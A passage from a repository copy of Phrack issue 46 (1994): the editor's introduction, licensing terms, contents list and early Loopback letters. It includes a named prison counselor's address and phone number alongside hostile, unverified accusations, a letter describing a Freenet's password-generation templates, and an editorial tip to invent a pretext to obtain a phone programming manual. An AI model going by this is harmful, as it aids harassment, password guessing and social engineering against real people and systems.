informis/textfiles
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity
278a90f7ce
textfiles/magazines/PHRACK/PHRACK46
root@procul 278a90f7ce Initial commit
2021-04-15 13:31:59 -05:00

22778 lines
973 KiB
Plaintext
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

==Phrack Magazine==
Volume Five, Issue Forty-Six, File 1 of 28
Issue 46 Index
___________________
P H R A C K 4 6
September 20, 1994
___________________
"La cotorra que chi, no canta"
Honey, I'm home! Anyway, like the little proverb above indicates, I've
been a very busy man since the last issue. I've been denied entry to
a federal prison in North Carolina (imagine the irony of THAT); I've
been whoring in the Red-Light District of Amsterdam with military
intelligence officers from England, Spain and the US; estuve chicaito en
Nuevo Lardeo; I've tested wireless networks in Canada; and I've been
on TV a few more times. (No, nimrod, Phrack is not my job...I WORK
for a living.)
Needless to say, it has been a chore for me to get Phrack out at all,
much less only a month or so past my self-imposed quarterly deadline.
But hell, I love doing this magazine, so here it is. Phrack is the only
way I can completely thrill and simultaneously piss off so many people
at once, so I don't think I'll stop any time soon.
Pissing people off. It's what I like to do, and it would appear that
I'm quite good at it. I realize that there are several extremely
vocal erikb-bashers out there. And to them I say, "smooches!"
Let's face it, sour grapes make bad whiners. But hey, "As long as they're
talking about Erikb, let 'em talk." (Sorry Mr. Ford)
Besides piecing together this issue, I've been working on getting
the WWW pages together. They still aren't 100%, but they are getting
there. By the time I finally get them together, the Phrack
Web Site should be the ultimate underground resource on the net.
Check it out: http://freeside.com/phrack.html
You may be interested in the federal prison remark from the first
paragraph. I had a meeting at IBM out in Research Triangle Park. I
figured that this would be an ideal time to go see Co/Dec who still has
several years of federal time left to serve. Co/Dec is in
the Federal Correctional Institute at Butner, North Carolina, a short
30 or so minutes from where I was staying in RTP.
Anyway, I receive the necessary forms from Co/Dec to get on the approved
visitors list, and sent them back in. After several weeks, Co/Dec said
that I still had not been added. My trip was slated for a week away, so
I called his counselor, Wilbert LeMay. Mr. LeMay told me that he never got
my forms. I then fed-ex'ed a copy (that I luckily had kept). It arrived
on Friday morning, and I was to arrive on Monday. Mr. LeMay had assured me
that it would be no problem to get me added to Co/Dec's list.
When I arrived on Monday, I called the prison to make sure the visit had
been cleared. Mr. LeMay would not return my calls. In fact, not only
would he not return any of the 5 or so calls I made, but he didn't even
bother to enter my name on the visitor list until the Wednesday after I
had already left North Carolina.
I'm sorry, but this man must be a real prick.
A bit of background on LeMay. First off, according to those on the inside,
LeMay dislikes white people. He supposedly keeps a picture of slaves
picking cotton on his desk as a constant reminder of the oppression his
people were subjected to. But perhaps working in the prison system where
you have constant view of the Aryan Brotherhood in action, I'm sure many
would begin to feel likewise. (Can't we all just get along?) Secondly,
LeMay dislikes Co/Dec. He put Co/Dec in solitary confinement for weeks
because Co/Dec had a DOS MANUAL! A fucking DOS MANUAL! You do not
put someone in the fucking hole for brushing up on the syntax for xcopy!
You put them in the hole for inciting a fucking shank war, or for stealing
food, or for punching a guard. Later, Co/Dec found himself in solitary
confinement AGAIN because he traded some smokes for telephone parts he was
going to use to fix a radio. The hole again. Not for weapons and drugs,
NO! Much worse: wires and a speaker!
The prison now considers Co/Dec a security risk, and read all OUTGOING
mail he sends. Not just the regular reading of all incoming mail
that any inmate would expect. He can't take any clases, he's had
several more days added to his sentence for "bad time served,"
and in addition, all of his phone calls are live monitored and recorded.
(A funny note, during one conversation I found that my touchtones would
control the equipment they were using to record the call. The equipment
they were using was improperly connected and gave off a terrible hum
when activated. I kept turning off the recording, and the security
officer kept having to turn it back on.)
All of this, due to Counselor Wilbert LeMay. Thanks guy.
If someone can so grossly abuse their power to completely remove the
dignity of another human being, inmate or otherwise, that person needs
to face severe disciplinary action. I'm writing the warden. Directory
Assistance says that Wilbert can be reached at:
Wilbert LeMay
701 East E St.
Butner, NC 27509
919-575-6375
Fun fact: Butner is serviced by GTE.
You know, its pretty odd that as hackers, we probably know a larger number
of ex-cons and current inmates than most people.
But anyway, on to Phrack.
This issue is pretty odd in that "The Man" has consented to write
a few syllables for us to distribute. Yes, Winn Schwartau submitted
his unique perspectives of Defcon and HOPE. It's funny how many people
left Defcon this year and ran home to find information on HIRF weapons
after hearing Winn speak. (If you've actually built one by now, email
me.)
What else? GS1, Pagers, Voice Mail, VisaNet, Area 51, Programs,
Conferences, and an incomplete university dialup list. (Putting out
an incomplete list really irritates me, but hell, its taking a LOT
longer than I expected to get some 1300 dialups without more help.
AHEM!)
Can you dig it? I knew that you could.
-------------------------------------------------------------------------
READ THE FOLLOWING
IMPORTANT REGISTRATION INFORMATION
Corporate/Institutional/Government: If you are a business,
institution or government agency, or otherwise employed by,
contracted to or providing any consultation relating to computers,
telecommunications or security of any kind to such an entity, this
information pertains to you.
You are instructed to read this agreement and comply with its
terms and immediately destroy any copies of this publication
existing in your possession (electronic or otherwise) until
such a time as you have fulfilled your registration requirements.
A form to request registration agreements is provided
at the end of this file. Cost is $100.00 US per user for
subscription registration. Cost of multi-user licenses will be
negotiated on a site-by-site basis.
Individual User: If you are an individual end user whose use
is not on behalf of a business, organization or government
agency, you may read and possess copies of Phrack Magazine
free of charge. You may also distribute this magazine freely
to any other such hobbyist or computer service provided for
similar hobbyists. If you are unsure of your qualifications
as an individual user, please contact us as we do not wish to
withhold Phrack from anyone whose occupations are not in conflict
with our readership.
_______________________________________________________________
Phrack Magazine corporate/institutional/government agreement
Notice to users ("Company"): READ THE FOLLOWING LEGAL
AGREEMENT. Company's use and/or possession of this Magazine is
conditioned upon compliance by company with the terms of this
agreement. Any continued use or possession of this Magazine is
conditioned upon payment by company of the negotiated fee
specified in a letter of confirmation from Phrack Magazine.
This magazine may not be distributed by Company to any
outside corporation, organization or government agency. This
agreement authorizes Company to use and possess the number of copies
described in the confirmation letter from Phrack Magazine and for which
Company has paid Phrack Magazine the negotiated agreement fee. If
the confirmation letter from Phrack Magazine indicates that Company's
agreement is "Corporate-Wide", this agreement will be deemed to cover
copies duplicated and distributed by Company for use by any additional
employees of Company during the Term, at no additional charge. This
agreement will remain in effect for one year from the date of the
confirmation letter from Phrack Magazine authorizing such continued use
or such other period as is stated in the confirmation letter (the "Term").
If Company does not obtain a confirmation letter and pay the applicable
agreement fee, Company is in violation of applicable US Copyright laws.
This Magazine is protected by United States copyright laws and
international treaty provisions. Company acknowledges that no title to
the intellectual property in the Magazine is transferred to Company.
Company further acknowledges that full ownership rights to the Magazine
will remain the exclusive property of Phrack Magazine and Company will
not acquire any rights to the Magazine except as expressly set
forth in this agreement. Company agrees that any copies of the
Magazine made by Company will contain the same proprietary
notices which appear in this document.
In the event of invalidity of any provision of this agreement,
the parties agree that such invalidity shall not affect the validity
of the remaining portions of this agreement.
In no event shall Phrack Magazine be liable for consequential, incidental
or indirect damages of any kind arising out of the delivery, performance or
use of the information contained within the copy of this magazine, even
if Phrack Magazine has been advised of the possibility of such damages.
In no event will Phrack Magazine's liability for any claim, whether in
contract, tort, or any other theory of liability, exceed the agreement fee
paid by Company.
This Agreement will be governed by the laws of the State of Texas
as they are applied to agreements to be entered into and to be performed
entirely within Texas. The United Nations Convention on Contracts for
the International Sale of Goods is specifically disclaimed.
This Agreement together with any Phrack Magazine
confirmation letter constitute the entire agreement between
Company and Phrack Magazine which supersedes any prior agreement,
including any prior agreement from Phrack Magazine, or understanding,
whether written or oral, relating to the subject matter of this
Agreement. The terms and conditions of this Agreement shall
apply to all orders submitted to Phrack Magazine and shall supersede any
different or additional terms on purchase orders from Company.
_________________________________________________________________
REGISTRATION INFORMATION REQUEST FORM
We have approximately __________ users.
Enclosed is $________
We desire Phrack Magazine distributed by (Choose one):
Electronic Mail: _________
Hard Copy: _________
Diskette: _________ (Include size & computer format)
Name:_______________________________ Dept:____________________
Company:_______________________________________________________
Address:_______________________________________________________
_______________________________________________________________
City/State/Province:___________________________________________
Country/Postal Code:___________________________________________
Telephone:____________________ Fax:__________________________
Send to:
Phrack Magazine
603 W. 13th #1A-278
Austin, TX 78701
-----------------------------------------------------------------------------
Enjoy the magazine. It is for and by the hacking community. Period.
Editor-In-Chief : Erik Bloodaxe (aka Chris Goggans)
3L33t : Ice-9 (for helping me get this done!)
Rad Band : Green Day
News : Datastream Cowboy
Photography : The Man
Prison Consultant : Co / Dec
The Young Girl : Jane March
Motor Trend's Car
of the Year : The 2600 Van
Dickhead of the Month : Wilbert LeMay at FCI Butner
Thanks To : Szechuan Death, Carl Corey, The Shining, Dcypher
Hitman Italy, Herd Beast, Dr. Delam, Maldoror,
The Red Skull, PsychoSpy, Seven Up, Erudite, Ice Jey
Special Thanks To : Winn Schwartau
Phrack Magazine V. 5, #46, September 20, 1994. ISSN 1068-1035
Contents Copyright (C) 1994 Phrack Magazine, all rights reserved.
Nothing may be reproduced in whole or in part without written
permission of the Editor-In-Chief. Phrack Magazine is made available
quarterly to the amateur computer hobbyist free of charge. Any
corporate, government, legal, or otherwise commercial usage or
possession (electronic or otherwise) is strictly prohibited without
prior registration, and is in violation of applicable US Copyright laws.
To subscribe, send email to phrack@well.sf.ca.us and ask to be added to
the list.
Phrack Magazine
603 W. 13th #1A-278 (Phrack Mailing Address)
Austin, TX 78701
freeside.com (Phrack FTP Site)
/pub/phrack
http://freeside.com/phrack.html (Phrack WWW Home Page)
phrack@well.sf.ca.us (Phrack E-mail Address)
or phrackmag on America Online
Submissions to the above email address may be encrypted
with the following key : (Not that we use PGP or encourage its
use or anything. Heavens no. That would be politically-incorrect.
Maybe someone else is decrypting our mail for us on another machine
that isn't used for Phrack publication. Yeah, that's it. :) )
** ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED **
Phrack goes out plaintext...you certainly can subscribe in plaintext.
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3a
mQCNAiuIr00AAAEEAMPGAJ+tzwSTQBjIz/IXs155El9QW8EPyIcd7NjQ98CRgJNy
ltY43xMKv7HveHKqJC9KqpUYWwvEBLqlZ30H3gjbChXn+suU18K6V1xRvxgy21qi
a4/qpCMxM9acukKOWYMWA0zg+xf3WShwauFWF7btqk7GojnlY1bCD+Ag5Uf1AAUR
tCZQaHJhY2sgTWFnYXppbmUgPHBocmFja0B3ZWxsLnNmLmNhLnVzPg==
=q2KB
-----END PGP PUBLIC KEY BLOCK-----
-= Phrack 46 =-
Table Of Contents
~~~~~~~~~~~~~~~~~
1. Introduction by The Editor 17 K
2. Phrack Loopback / Editorial 52 K
3. Line Noise 61 K
4. Line Noise 56 K
5. Phrack Prophile on Minor Threat 12 K
6. Paid Advertisement 62 K
7. Paid Advertisement (cont) 45 K
8. The Wonderful World of Pagers by Erik Bloodaxe 24 K
9. Legal Info by Szechuan Death 13 K
10. A Guide to Porno Boxes by Carl Corey 13 K
11. Unix Hacking - Tools of the Trade by The Shining 42 K
12. The fingerd Trojan Horse by Hitman Italy 32 K
13. The Phrack University Dialup List 12 K
14. A Little About Dialcom by Herd Beast 29 K
15. VisaNet Operations Part I by Ice Jey 50 K
16. VisaNet Operations Part II by Ice Jey 44 K
17. Gettin' Down 'N Dirty Wit Da GS/1 by Maldoror & Dr. Delam 25 K
18. Startalk by The Red Skull 21 K
19. Cyber Christ Meets Lady Luck Part I by Winn Schwartau 45 K
20. Cyber Christ Meets Lady Luck Part II by Winn Schwartau 42 K
21. The Groom Lake Desert Rat by PsychoSpy 44 K
22. HOPE by Erik Bloodaxe 51 K
23. Cyber Christ Bites the Big Apple by Winn Schwartau 60 K
24. The ABCs of Better Hotel Staying by Seven Up 12 K
25. AT&T Definity System 75/85 by Erudite 13 K
26. Keytrap v1.0 Keyboard Key Logger by Dcypher 35 K
27. International Scenes by Various Sources 44 K
28. Phrack World News by Datastream Cowboy 38 K
Total: 996 K
_______________________________________________________________________________
"Most hackers would have sold out their mother."
Justin Tanner Peterson
"Treason is loved of many but the traitor hated of all."
Robert Greene (1552-1592)
"They smile in your face, but all the while they want to take your place."
The O'Jays
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 2 of 28
****************************************************************************
Phrack Loopback
------------------------------------------------------------------------------
I'd like to write you about my friends cat. His name is 'Cid. Cid
loves reading, in fact he'll read just about anything, from the labels on
his cat food tins to the instructions on the "real" use of his Grafix
(incense burner :) ). Well one take, 'Cid (or was it me) was indulging
in the reason he got his moniker and mentioned that he'd like to receive
Phrack. Well i told him he could just subscribe to it and then he went
into a real sob story about how he doesn't have net access. So as a
favor to 'Cid (who really does exist, and really has tripped out on brain
blotters) i'd like to subscribe to Phrack.
[You my want to take note that Phrack can also be printed on paper.
Now, that's a lot of blotter.
You've got your subscription, now go watch some anime.]
------------------------------------------------------------------------------
I recently got a new job and shortly after beginning working there, they
decided to retool and reorganize a bit for better productivity.
While we were going through some old boxes and stuff, I came across a
little black box with the words "Demon Dialer" molded into the front of
it, it even had the (functional!) 20volt power supply.
Needless to say I was pretty happy with my find. I asked if I could have
it and since no one else there seemed to know what to make of it, mine it
was!
My only problem now... I've played around with it, and it seems to do a
lot more than what I originally thought, but the fact of the matter is..
I really haven't the foggiest idea of how to get it to REALLY work for me.
If anyone has any information, or better still, actual documentation for
a Telephonics Inc, Demon Dialer.. I'd really appreciate passing it on to me.
Also, something rater strange. The phone cable attached to it had a
normal looking 4-wire connector on one end, but the other was split to
have RJ jacks, one with the yellow-black combo and one with the
red-green. The split ends (sorry :)) were plugged into the WALL and
PHONE jacks on the demon dialer. The purpose for this perplexes me since
one's supposed to be input and one's supposed to be a passthrough for the
phone to be plugged into.
Anyway, any info would be nice. Thanks guys.
[Telephonics was one of those odd telco device manufacturers back in the
80's. They made the demon dialer (a speed dialing device), a
two-line conference box, a divertor, etc. Essentially, they provided
in hardware what the telco's were beginning to roll-out in software.
I think the line splitter you have was merely plugged into those
two jacks for storage purposes. What that probably was for was to
allow two lines to use the Demon Dialer. It was probably just reversed
when your company boxed it so it wouldn't get lost.
I'm not sure if Telephonics is still in business. A good place to
start looking for info would be comp.dcom.telecom or alt.dcom.telecom.
Another good place may be Hello Direct (800-HI-HELLO). They used to
do have Telephonics equipment available for mail-order.]
------------------------------------------------------------------------------
I saw an ad for a book called "Secrets of a SuperHacker" by Knightmare.
Supposedly it intersperses tales of his exploits with code and examples.
I have big doubts, but have you heard anything good/bad about it?
[Your doubts are well founded. I got an advance copy of that book.
Let's put it this way: does any book that contains over a dozen pages
of "common passwords" sound like ground breaking material?
This book is so like "Out of the Inner Circle" that I almost wanted
to believe Knightmare (Dennis Fiery) was really yet another
alias for Bill Landreth. Imagine "Out of the Inner Circle" with
about a hundred or more extra pages of adjectives and examples that
may have been useful years back.
The Knightmare I knew, Tom in 602, whose bust by Gail Thackeray
gave law enforcement a big buffer of the Black Ice Private BBS
and help spark the infamous LOD Hacker Crackdown, certainly didn't
have anything to do with this. In fact, the book has a kind of
snide tone to it and is so clueless, that leads me to believe it
may have been written by a cop or security type person looking to
make a quick buck.
As far as source code, well, there is a sample basic program that
tries to emulate a university login.
If you want a good book, go buy "Firewalls and Internet Security" by
Cheswick and Bellovin.]
------------------------------------------------------------------------------
Hey Chris,
I'm sure you are under a constant avalanche of requests for certain files,
so I might as well add to your frustration <grin>. I know of a program
that supposedly tracks cellular phone frequencies and displays them on
a cellmap. However, I don't know the name of the program or (obviously)
where to find this little gem. I was wondering if you could possibly
enlighten me on a way to acquire a program similar to the one I have
described. I have developed some other methods of tracking locations
of cellular calls. However my methods rely on a database and manually
mapping cellular phones, this method is strictly low tech. Of course
this would be for experimental use only, therefore it would not be used
to actually track actual, restricted, radio spectrum signals. I wouldn't
want the aether Gestapo pummeling our heads and necks.
[I don't know of anything that plots frequencies on a cellmap. How would
you know the actual locations of cells for whatever city you may
be in to plot them accurately?
There are a number of programs written to listen to forward channel messages
and tell you when a call is going to jump to another channel. The cellular
telephone experimenter's kit from Network Wizards has a lot of nice
C source that will let you write your own programs that work with their
interface to the OKI 900. I suppose you could get the FCC database
CD-ROM for your state and make note of longitude and latitude of cell sites
and make your own database for your city, and then make a truly
visual representation of a cellmap and watch calls move from cell to cell.
But I don't think there is such a thing floating around the underground
at present.
Of course the carriers have this ability, and are more than happy to make
it available to Law Enforcement (without a warrant mind you). Hi OJ!
email Mark Lottor mw@nw.com for more info about the CTEK.]
------------------------------------------------------------------------------
I saw this in a HoHoCon ad:
Top Ten Nark List
1. Traxxter
2. Scott Chasin
3. Chris Goggans
4. Aget Steal
5. Dale Drrew
6. Cliff Stoll
7. [blank]
8. Julio Fernandez
9. Scanman
10. Cori Braun
What did Chris Goggans do? Isn't he Erik Bloodaxe, the publisher of
Phrack? I sincerely doubt that the feds would have someone
working for them that puts out a publication like Phrack. It would
be way too much of an embarrassment for them. I wrote to the
editor of Phrack when I read that Agent Steal said that the publisher
of Phrack was a Fed - IN PHRACK no less. He said it was a stupid rumor.
Is there anything to support this fact? And why is there now some manhunt for
Agent Steal (at CFP the FBI was checking legs) if Steal was admittedly
their employee? The whole thing is very confusing to me. Please explain.
If Goggans isn't Bloodaxe then he'd Knight Lightning (this just came to me).
Nevertheless, what's the story here?
[First off, I think you take things a little too seriously. If you are on
a nark hunt, worry about your associates, not people you obviously
don't even know. Chris Goggans (ME) is most positively Erik Bloodaxe.
Thanks for remembering.
Agent Steal was involved with the FBI. This is a fact.
In his case, he even appeared to have some kind of immunity while trying
to gather information on other hackers like Mitnik and Poulsen. This
immunity is under scrutiny by the Bureau's own Internal Affairs (or so the
new rumors go), since Steal was pulling a fast one and committing crimes
the Bureau didn't know about to get some quick cash while he set up his
friends.
My story is a bit more convoluted. You can sum it up by saying, if you
interfere with my businesses, I'll try my best to track you down and turn
you in. I guess I am a nark.]
------------------------------------------------------------------------------
I read in the last Phrack (45) that you wanted someone to write a few
words on scrambling systems. Give me a rough outline of what you want
and I'll see if I can help :-) Basically I wrote the Black Book
(European Scrambling Systems 1,2,3,4,5 and World Satellite TV &
Scrambling Methods) and also edit Hack Watch News & Syndicated
HackWatch. They all deal with scrambling system hacks as opposed to
computer hacking & phreaking. (Things are a bit iffy here as regards
phreaking as all calls are logged but the eprom phone cards are easy
to hack) Oh yeah and another claim to fame ;-) if you can call it
that, is that I was quoted in an article on satellite piracy in
"Wired" August issue.
This Hawkwind character that you had an article from in Phrack43
sounds like a *real* hacker indeed :-> Actually there is an elite in
Ireland but it is mainly concerned with satellite hacking and that
Hawkwind character is obviously just a JAFA (Irish hacker expression
- Just Another Fu**ing Amateur). Most of the advanced telco stuff is
tested in the south of the country as Dublin is not really that
important in terms of comms - most of the Atlantic path satellite
comms gear and brains are on the south coast :-)
Actually the Hawkwind article really pissed off some people here in
Ireland - there were a few questions asked on my own bbs (Special
Projects +353-51-50143) about this character. I am not even sure if
the character is a real hacker or just a wannabe - there were no
responses from any of his addresses. SP is sort of like the neutral
territory for satellite and cable hacking information in Europe
though there are a few US callers. With the way things are going with
your new DBS DirecTv system in the US, it looks like the European
satellite hackers are going to be supplying a lot of information
(DirecTv's security overlay was developed by News Datacom - the
developers of the totally hacked VideoCrypt system here in Europe).
There telco here uses eprom phone cards. These are extremely easy to
hack (well most real hackers in .IE work on breaking satellite
scrambling systems that use smart cards) as they are only serial
eprom.
Regards
[About the satellite information: YES! Write the biggest, best
article the whole fucking hacker world has ever seen about
every aspect of satellite tv!! Personally, I'm more interested in
that than anything else anyone could possibly write (seeing as how
I'm about to buy a dish for both C and Ku).
About Hawkwind's article on hacking in Ireland: If I were to write
an article about hacking in America, it would be entirely different
than anyone else in America would write. A country is a big place.
Just because someone else's hacking experience is different than
your own, it's no reason to discredit them. However, if your
exposure to the scene in Ireland is so completely different than
Hawkwind's, I would LOVE to print it as well.]
------------------------------------------------------------------------------
The Columbus Freenet uses a password generating routine that takes the
first and last initial of the user's real name, and inserts it into a randomly
chosen template. Some of the templates are:
E(f)www5(l)
(f)22ww5(l) where f and l are first and last initials
(f)2ww97(l)
(f)2ww95(l)
and so on. There are not too many of these templates, I guess maybe 50.
I imagine most people go in and change their password right away, but
then again that's what a prudent person would do (so they probably don't).
Columbus 2600 meetings:
Fungal Mutoid-sysop of The KrackBaby BBS (614-326-3933) organized the
first 2600 meetings in Columbus, unfortunately hardly anyone shows up...
I don't know why HP is so dead in Central Ohio, but fear and paranoia
run rampant.
That's all for now...keep up with the good work!
R.U.Serius?!
[Hmmm...templates are always a bad thing. All one has to do is get the
program that generates them, and viola, you've got a pre-made dict file
for your crack program. Not very smart on the part of the Freenet,
but hacking a Freenet, is like kicking a puppy.
I hope more people go to your 2600 meetings. The ones here in Austin
kinda died out too. Maybe our cities are just lame.]
------------------------------------------------------------------------------
A complaint: That piece about McDonald's in Phrack 45 was, in a word, LAME.
Surely Phrack can do better. Maliciousness for its own sake isn't very
interesting and frankly the article didn't have any ideas that a bored
13-year-old couldn't have thought up--probably written by one.
That aside, I found some good stuff in there. Some of it was old news,
but Phrack serves an archival purpose too, so that was ok. On a more
personal note, I could really relate to your account of HoHoCon--not that
I was there, just that I have started to feel old lately even though I don't
turn 25 for another 2 days :) Sometimes I feel myself saying things like
"Why, sonny, when I was your age the Apple II was king..."
Keep up the good work, and don't let the lamers get you down.
[Thanks for the letter. I personally thought the McDonald's file was
a laugh riot. Even if it was juvenile and moronic, I wouldn't expect
anyone to analyze it and go through with anything it contained. It was
just for fun. Lighten up :)
I am glad to see that at least someone else recognizes that Phrack
is attempting to serve as an archive of our subculture, rather than just
a collection of technical info that will be outdated overnight, or a
buglist that will be rendered mostly unusable within hours of release.
There is so much going on within the community, and it is becoming such a
spectacle in the popular media, that in 20 years, we can all go back and
look at Phrack and remember the people, places, and meetings that
changed the face of the net.
Or maybe I'm just terribly lame, and either 1) refuse to put in the
good stuff, 2) don't have access to the good stuff, 3) exist only as a
puppet agent of The Man, or 4) Don't know nothin' 'bout Telco!
But you know what they say about opinions.]
----------------------------------------------------------------------------
I have a few comments on your editorial in Phrack 44 (on information
wants to be free). Thanks for voicing an opinion that is shared by many
of us. I am glad to see a public figure in the CuG with nutz enuff to
actually come out and make such a statement and mean it.
Again, thanks.
Now on the subject of hacking as a whole. Is it just me, or are the number
of losers on the increase? There have always been those who would try
and apply these skills to ripoff scams and system trashing but now that
seems to be the sole intent of many of the "hackers" I come into contact
with. What ever happened to hacking to learn more about the system. To
really hack a system (be it phone, computer), is a test of skill and
determination, and upon success you walk away with a greater understanding
of the machine and its software. Hacking is more than just knowing how
to run crack on a filched password file, or using some exploitation
scripts picked up on IRC, it is a quest for knowledge and gaining
superiority over a system by use of great skill acquired by a deliberate
effort. Once was a time when things like toll fraud (I do miss blue
boxes) were a means to an end, now they seem to be the end in itself.
Also, I am researching info on OSI comsec procedures and have found some
really interesting goodies, if you are interested in publishing
my piece when completed, let me know..
[(NOTE: This came from a .mil)
Man, I'm glad to see that people in the armed forces still have minds
of their own. Not many people would express such a thing openly.
Yes, the destructive/profit-motivated trends of many of the hackers of
today are pretty sad. But you have to realize, as the technology
becomes more and more like consumer electronics, rather than the
traditional mold of computer as scientific research tool, an entirely
different market segment will be exposed to it and use the technology
for less than scrupulous means.
Even the act of hacking itself. Today, I can basically gain access
to any model of system known to man by asking. I realize that
there are many who cannot accomplish such a thing, but with the
proliferation of public access sites, almost everyone can afford
access to the net to explore and learn. The point comes down to this:
if you have an account on a Sun, why do you need an account on a Sun
at Boeing, unless you either 1) want to sell the cad files of the 777 to
Airbus or McDonnell-Douglas 2) want to get financial information to
make a killing on Wall Street, or 3) just want to have an ego boost
and say "I OWN BOEING!"
Personally, I can understand the ego boost aspect, but I've decided that
I'd much rather get paid by a company like Boeing to hack for them
than against them. I don't want to sell anyone's info, so hacking
into any company is basically useless to me, unless they are paying me
to look for potential weaknesses.
Granted, it's not an easy market to get into, but it's a goal to
shoot for.
And for those who find it impossible to quit due to fear of losing
their edge, check out my editorial in this issue for a possible
solution.]
------------------------------------------------------------------------------
I am looking for a Macintosh app that does the same thing as an app
called "Demon Dial" that has been lost in the annals of software
history due to the fact that some people (sysops) question whether it
is illegal software (it dials up a series of phone #'s looking for data
connections). Do you know where I could find an application for the Mac
that does this simple function?
[We had a guy ask in an earlier issue for Macintosh hacking/phreaking
apps. Noone responded. Hell, I know SOMEONE has to use a Mac
out there. Are you Mac-weenies all embarrassed to speak up?
Hell, uuencode and email me your aps, and I'll put them up for
ftp! Help out your poor fellow Macintosh users. I certainly
would if I could, but the thought of touching a Mac gives me the
chills.]
------------------------------------------------------------------------------
Have you ever heard of being denied access to your own cell phone?
I am currently in the process of buying a cell phone and was informed
that I COULD NOT have the programming guide of the security code
they enter to program my phone. In my opinion the key word is "MY."
If I get a digital security system for my house you better damn well
figure I will have the security codes for that. The phone was a Motorola
flip phone. I called Motorola and explained how displeased I was with
this company and they said they could not interfere with a reps. policy.
When I was selling car phone we kept the programming guide unless they
asked for it. I demanded it and they laughed in my face. Who said
"the customer is always right" anyway?
Thanks, any info is greatly appreciated. By the way, you wouldn't
happen to have the CN/A number for 815 would you? Also, any ANAC
would be very helpful.
[Well, I hate to say it, but you got typical service from your
cellular agent. Let's face it, these sales reps probably knew
about as much about that programming manual as I do nuclear
physics: "Its confusing, but if you understand it, you can fuck
things up."
I am surprised that Motorola wouldn't sell you the book though.
Motorola will sell anybody anything. You probably called the wrong
place. Moto is so huge they've got multiple groups working on somewhat
similar technologies with absolutely no communication between the groups.
Sometimes they are in different countries, but sometimes they are in the
same city! I would suggest you call a local FAE (Field Applications
Engineer)
and get them to get the book for you. Make up some story about
working on some computer controlled application with the phone, and that
you need any and all documentation on the phone. They'll do it. Money
is money.
As far as the 815 CNA, hell, just call the business office. I haven't
called a CNA in years, only the business office. They are nice people.
And no PINs.
815 ANAC: ok guys, someone must have one...email it!
"The customer is always right" wasn't in Bartlett's or Columbia's
books of famous quotations. I guess that phrase has been written out of out
history. So, from now on you aren't always right, I guess.]
------------------------------------------------------------------------------
Dear Phrack:
We want you!
We want you to be a part of our cutting edge documentary that is traversing
across the "NEW EDGE" of computers, culture, and chaos.
Working in conjunction with Douglas Rushkoff, the best selling author of
"CYBERIA," we are currently gathering together the leaders of this
technological and cultural revolution. This is not a documentary in the
traditional sense of the word. It is more of an exploration, a journey, a
unique vision of the world as seen through the eyes of those who live on the
bleeding edge; where technology, art, science, music, pleasure, and new
thoughts collide. A place people like you and me like to call home.
"New Edge" will deliver a slice of creativity, insanity, and infallibility,
and feed those who are hungry for more than what Main Street USA has to
offer. This project will detonate across the US and around the world. It
will become the who's who of the new frontier and you belong on it's
illustrious list of futurians. Please look over the enclosed press release
description of the project.
Phrack has long been the ultimate source for hack/phreak info, and helped to
push the limits of free speech and information. The role that Phrack has
played in the Steve Jackson Games Case set an important precedent for
CyberLaw. We will also be interviewing several people from the EFF.
Please call me ASAP to schedule an interview for "New Edge", or send me
E-Mail.
Sincerely,
Todd LeValley
Producer, N E W E D G E
(310) 545-8138 Tel/Fax
belief@eworld.com
W E L C O M E
T O T H E
W O R L D
O N T H E
E D G E O F
T H E F U T U R E
W E L C O M E
T O T H E
N E W E D G E
-the documentary-
T h e O r g a n i z a t i o n
Belief Productions in association with Film Forum.
T h e M i s s i o n
Journey through the labyrinth of cyberia and experience the people, places
and philosophy that construct cyberspace and the shores of the technological
frontier. This fast paced visual voyage through the digital revolution will
feature interviews with the innovators, artists, cyberpunks, and visionaries
from all sides of the planet. These specialists are the futurists who are
engineering our cybergenic tomorrow in laboratories today. Along the way we
will investigate the numerous social and political issues which are cropping
up as each foot of fiber optic cable is laid. Artificial intelligence, the
Internet, nanotechnology, interactive media, computer viruses, electronic
music, and virtual reality are just a few of the many nodes our journey will
explore.
T h e F u n d i n g
This exploration is sponsored in part by a grant from The Annenberg
Foundation in association with the LA based non-profit cutting-edge media
group Film Forum.
T h e P r o c e s s
The New Edge project will capture moving images with a variety of input
devices and then assemble them into one fluid documentary using Apple
Macintosh Quadras & PowerMac computers. The post production work will be
done entirely on the computers using the Radius Video Vision Telecast Board
in conjunction with Quicktime software applications such as Adobe Premiere
4.0 and CoSA After Effects 2.01. The final piece will be recorded to BETACAM
SP videotape for exhibition and distribution. The capture formats for the
project will include: BETACAM SP, Super VHS, Hi-8, 16MM Film, Super-8 Film,
35MM Stills, and the Fisher
Price Pixelvision 2000.
T h e R e s u l t s
New Edge will pride itself on an innovative visual and aural style which
before today, could only be created on high-end professional video systems
and only for short format spots. The New Edge documentary will be two hours
in length and will have a dense, layered look previously featured only in
much shorter pieces. New Edge will be a showcase piece not only for the
content contained within, but for the way in which the piece was produced.
It will be a spectacular tribute to the products and technology involved in
its creation.
D i s t r i b u t i o n
Direct Cinema - Distributes videos to Libraries, Schools, and Universities
throughout the United States.
Mico Entertainment/NHK Enterprises - Provider of American programming for
Japanese Television.
Labyrinth Media Ltd. - European reality-based documentary distributor
T h e A u d i e n c e
New Edge is aimed at both the technophiles and technophobes alike. While the
show will feature very complex and sophisticated topics, the discussions will
be structured to appeal to both those who do and do not have the technical
framework that underlines the cyberian movement. The show's content and
style will make it readily available to the MTV and Generation X demographic
groups as well as executives who want to stay on top of the latest
technological advances. Individuals who read Mondo 2000 and Wired magazine
will also naturally latch on to this electronic
presentation of their favorite topics.
T h e G u i d e s
Mike Goedecke - Director/Graphic Designer
Mike was the Writer/Director/Cinematographer for the Interplay CD-ROM game
entitled Sim City. Acting as graphic designer for the Voyager Co.- Criterion
Laser Disc Division his work is featured on titles such as: Akira, DEVO-The
Truth About De-Evolution, The Adventures of Baron Munchausen, and Spartacus.
Most recently he collaborated with Los Angeles Video Artist Art Nomura on a
video installation piece entitled Digital Mandala. The piece was edited,
composited , and mastered to Laser Disc using an Apple Macintosh Computer and
off-the-shelf software. The installation is scheduled to tour museums and
art galleries across the United States and Europe. While attending
